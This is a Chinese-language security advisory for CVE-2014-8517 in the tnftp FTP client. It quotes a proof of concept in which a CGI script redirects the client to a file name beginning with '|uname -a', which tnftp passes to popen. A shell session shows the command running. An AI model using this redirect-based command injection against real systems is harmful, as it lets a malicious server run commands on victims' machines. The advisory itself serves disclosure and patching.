linux ftp漏洞利用,tnftp ftp客户端任意命令执行漏洞(CVE-2014-8517)

发布日期：2014-10-29

更新日期：2014-10-30

受影响系统：

NetBSD tnftp

描述：

CVE(CAN) ID: CVE-2014-8517

tnftp是广泛使用的NetBSD FTP客户端。

tnftp存在安全漏洞导致攻击者可以执行任意命令。此漏洞影响多个版本Linux(Fedora, Debian, NetBSD, FreeBSD, OpenBSD)及Apple Yosemite 10.10。

受害者使用"ftp http://server/path/file.txt"命令，而没有使用"-o"参数来指定输出文件时，恶意服务器可以通过tnftp来执行任意命令。

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测试方法：

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Jared Mcneill ()提供了如下测试方法：

If you do "ftp http://server/path/file.txt"; and don't specify an output

filename with -o, the ftp program can be tricked into executing

arbitrary commands.

The FTP client will follow HTTP redirects, and uses the part of the

path after the last / from the last resource it accesses as the output

filename (as long as -o is not specified).

After it resolves the output filename, it checks to see if the output

filename begins with a "|", and if so, passes the rest to

popen(3): http://nxr.netbsd.org/xref/src/usr.bin/ftp/fetch.c#1156

Here's a simple CGI script that causes ftp to execute "uname -a", the

issue is present on both NetBSD 7.99.1 and OSX 10.10:

a20$ pwd

/var/www/cgi-bin

a20$ ls -l

total 4

-rwxr-xr-x  1 root  wheel  159 Oct 14 02:02 redirect

-rwxr-xr-x  1 root  wheel  178 Oct 14 01:54 |uname -a

a20$ cat redirect

#!/bin/sh

echo 'Status: 302 Found'

echo 'Content-Type: text/html'

echo 'Connection: keep-alive'

echo 'Location: http://192.168.2.19/cgi-bin/|uname%20-a'

echo

a20$

a20$ ftp http://localhost/cgi-bin/redirect

Trying ::1:80 ...

ftp: Can't connect to `::1:80': Connection refused

Trying 127.0.0.1:80 ...

Requesting http://localhost/cgi-bin/redirect

Redirected to http://192.168.2.19/cgi-bin/|uname%20-a

Requesting http://192.168.2.19/cgi-bin/|uname%20-a

32      101.46 KiB/s

32 bytes retrieved in 00:00 (78.51 KiB/s)

NetBSD a20 7.99.1 NetBSD 7.99.1 (CUBIEBOARD) #113: Sun Oct 26 12:05:36

ADT 2014

Jared () Jared-PC:/cygdrive/d/netbsd/src/sys/arch/evbarm/compile/obj/CUBIE

BOARD evbarm

a20$

建议：

厂商补丁：

NetBSD

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